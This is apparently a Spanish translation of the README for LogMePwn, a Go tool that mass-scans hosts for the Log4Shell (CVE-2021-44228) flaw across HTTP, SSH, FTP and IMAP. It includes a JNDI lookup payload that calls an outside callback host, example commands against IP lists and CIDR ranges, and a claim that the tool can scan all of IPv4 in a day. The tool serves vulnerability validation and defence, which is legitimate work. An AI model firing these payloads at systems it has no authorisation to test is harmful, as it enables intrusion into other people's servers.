
Un kit de herramientas totalmente automatizado, fiable y ultrarrápido para escanear y validar la vulnerabilidad Log4J RCE CVE-2021-44228.
LogMePwn es un kit de herramientas de escaneo y validación totalmente automatizado, multiprotocolo, confiable y súper rápido para la vulnerabilidad Log4J RCE CVE-2021-44228.

LogMePwn funciona utilizando Canary Tokens, que a su vez proporcionan notificaciones por correo electrónico y webhook a tu canal de comunicación preferido. Si tienes un servidor de callback personalizado, ¡definitivamente también puedes usarlo!
Para usar la herramienta, puedes obtener un binario de la sección Releases según tu distribución y usarlo. Si quieres compilar la herramienta, necesitarás Go >= 1.13. Simplemente clona el repositorio y ejecuta .
go buildAquí está el uso básico de la herramienta:
$ ./lmp --help
+---------------------+
| L o g M e P w n |
+---------------------+ v2.0
~ 0xInfection
Usage:
-custom-server string
Specify a custom callback server.
-delay int
Delay between subsequent requests for the same host to avoid overwhelming the host.
-email string
Email to use for the receiving callback notifications.
-fbody string
Specify a format string to use as the body of the HTTP request.
-file string
Specify a file containing list of hosts to scan.
-ftp-ports string
Comma separated list of HTTP ports to scan per target. (default "21")
-headers string
Comma separated list of HTTP headers to use; if empty a default set of headers are used.
-headers-file string
Specify a file containing custom set of headers to use in HTTP requests.
-http-methods string
Comma separated list of HTTP methods to use while scanning. (default "GET")
-http-ports string
Comma separated list of HTTP ports to scan per target. (default "80,443,8080")
-imap-ports string
Comma separated list of IMAP ports to scan per target. (default "143,993")
-json
Use body of type JSON in HTTP requests that can contain a body.
-payload string
Specify a single payload or a file containing list of payloads to use.
-protocol string
Specify a protocol to test for vulnerabilities. (default "all")
-ssh-ports string
Comma separated list of SSH ports to scan per target. (default "22")
-threads int
Number of threads to use while scanning. (default 10)
-token string
Canary token payload to use in requests; if empty, a new token will be generated.
-user-agent string
Custom user-agent string to use; if empty, payloads will be used.
-webhook string
Webhook to use for receiving callback notifications.
-xml
Use body of type XML in HTTP requests that can contain a body.
Examples:
./lmp -email [email protected] 1.2.3.4 1.1.1.1:8080
./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143
NUEVO: Esta funcionalidad fue introducida en v2.0.
Con la última versión se ha introducido soporte para múltiples protocolos. Hasta ahora tenemos 4 protocolos diferentes:
Si no especificas un protocolo mediante el argumento -protocol, la herramienta ejecutará todos los plugins para cada protocolo compatible contra el conjunto de puertos predeterminados mencionados.
Ejemplo:
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # scans for all protocols on default ports
Los objetivos se pueden especificar de dos formas: mediante la interfaz de línea de comandos como argumentos, o mediante un archivo.
NUEVO: ¡Ahora incluso puedes pasar rangos CIDR para escanear! Esta funcionalidad fue introducida en v1.1.
Ejemplo:
./lmp <other args here> 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443
./lmp <other args here> -file internet-ranges.lst
./lmp <other args here> 192.168.0.0/26 1.2.3.4/30
Cada protocolo tiene una lista de puertos compatibles por defecto que se puede ajustar usando los siguientes indicadores:
-http-ports para HTTP.-imap-ports para IMAP.-ssh-ports para SSH.-ftp-ports para FTP.Si el usuario menciona un par host+puerto en forma de host:port, la lista de puertos predeterminada se descarta y todas las comprobaciones se realizan para ese puerto específico. Si no se menciona -protocol, se probarán los plugins de todos los protocolos contra el mismo puerto.
Esta funcionalidad fue introducida en v1.1.
Puedes especificar un payload directamente mediante el argumento -payload. Sin embargo, si deseas que el nombre DNS del host que se está probando aparezca en el payload, puedes especificar una directiva de formato $DNSNAME$ que será reemplazada por el objetivo contra el cual se está probando el payload.
p. ej., si proporcionas un comando como este:
./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com
Entonces, al enviar una solicitud HTTP a la URL, el payload se vería así:
${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}
Esta funcionalidad te ayudaría a evaluar qué hosts son vulnerables al realizar fuzzing de caja negra.
También puedes especificar un payload que contenga múltiples variaciones del mismo usando el mismo argumento. (Ver payloads-sample.txt). Ejemplo:
./lmp -payload payloads-sample.txt vulnerable.site.com
NOTA: Esta funcionalidad no funciona con Canary Tokens. Canarytokens no admite formatos DNS personalizados.
NOTA: Si estás proporcionando un payload personalizado con
-payload, especificar un canal de notificación NO es necesario. El payload mismo debe contener tu servidor de callback.
Los canales de notificación pueden ser cualquiera de los siguientes:
-email)-webhook)-custom-server)La herramienta utiliza Canary Tokens; puedes crear uno desde aquí, o dejar que la herramienta cree un token por ti. Si la herramienta crea un token, este se escribirá en un archivo llamado canarytoken-logmepwn.json, que incluirá el token en sí y la autenticación (ambos necesarios para ver los disparadores a través de la interfaz web).
Si ya tienes un token, puedes usar el argumento -token para usar el token directamente y no crear uno nuevo.
NOTA: Si proporcionas un correo electrónico o un webhook, la herramienta creará un canary token personalizado. Si usas un servidor de callback personalizado, los tokens no intervienen.
La herramienta ofrece una gran flexibilidad al enviar solicitudes. Por defecto, la herramienta utiliza solicitudes GET. Se utiliza un conjunto predeterminado de cabeceras, cada una de las cuales contiene un payload en su valor. Puedes especificar un conjunto personalizado de cabeceras mediante el argumento -headers. Puedes usar el conmutador -headers-file para proporcionar un archivo que contenga una lista de cabeceras. Ejemplos:
./lmp <other args> -headers 'X-Api-Version' 1.2.3.4:8080
./lmp <other args> -headers-file headers.txt 1.2.3.4:8080
Puedes especificar la lista de métodos HTTP a utilizar para el escaneo mediante el conmutador -methods. Para solicitudes que contienen un cuerpo, por ejemplo POST, PUT, etc., puedes personalizar el contenido de los cuerpos.
Por defecto, la herramienta envía un payload directamente a través del cuerpo. La herramienta ofrece personalización del cuerpo de las siguientes maneras:
-json para que el cuerpo de la solicitud sea de tipo JSON.-xml para formato XML.-fbody para especificar una cadena de formato personalizada donde se inyectará el payload. Esto permite la creación de solicitudes complejas durante las pruebas. Por ejemplo, si deseas enviar el contenido como HTML, podría verse así:
./lmp -fbody '<html>%s</html>' -methods 'POST,PUT' 1.2.3.4
Puedes especificar un valor de cabecera user-agent personalizado mediante el conmutador -user-agent.
La herramienta está optimizada para escanear una amplia gama de objetivos. Con suficiente ancho de banda de red y hardware, puedes escanear todo el espacio IPv4 en un día. El número predeterminado de hilos concurrentes a utilizar durante el escaneo es solo 10 (optimizado para fiabilidad en hardware local). El valor puede llegar a miles (dejo la tarea de benchmarking para ti). :)
Usa el conmutador -threads para proporcionar el número de hilos a utilizar con la herramienta.
Dado que hay muchas solicitudes HTTP involucradas, podría ser una tarea pesada para el host remoto manejar las solicitudes. El parámetro -delay está aquí para ayudarte en esos casos. Puedes especificar un valor de retardo en segundos, que se usará entre dos solicitudes posteriores al mismo puerto en un servidor.
Para demostrar el escáner, utilizo una configuración vulnerable de @christophetd usando Docker:
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Luego ejecuto la herramienta contra la configuración:
./lmp -email [email protected] -protocol http 127.0.0.1:8080

Lo que inmediatamente desencadenó algunas consultas DNS visibles en la página de historial del token así como en mi correo electrónico:

Actualizaciones en la versión v2.0:
Actualizaciones en la versión v1.1:
No dudes en contactarme en Twitter o crear un issue o PR.
La herramienta está licenciada bajo GNU GPLv3. LogMePwn se encuentra actualmente en v2.0.
Un agradecimiento al equipo de Thinkst Canary por su increíble proyecto Canary Tokens.
Elaborado con ♡ por Pinaki (@0xInfection).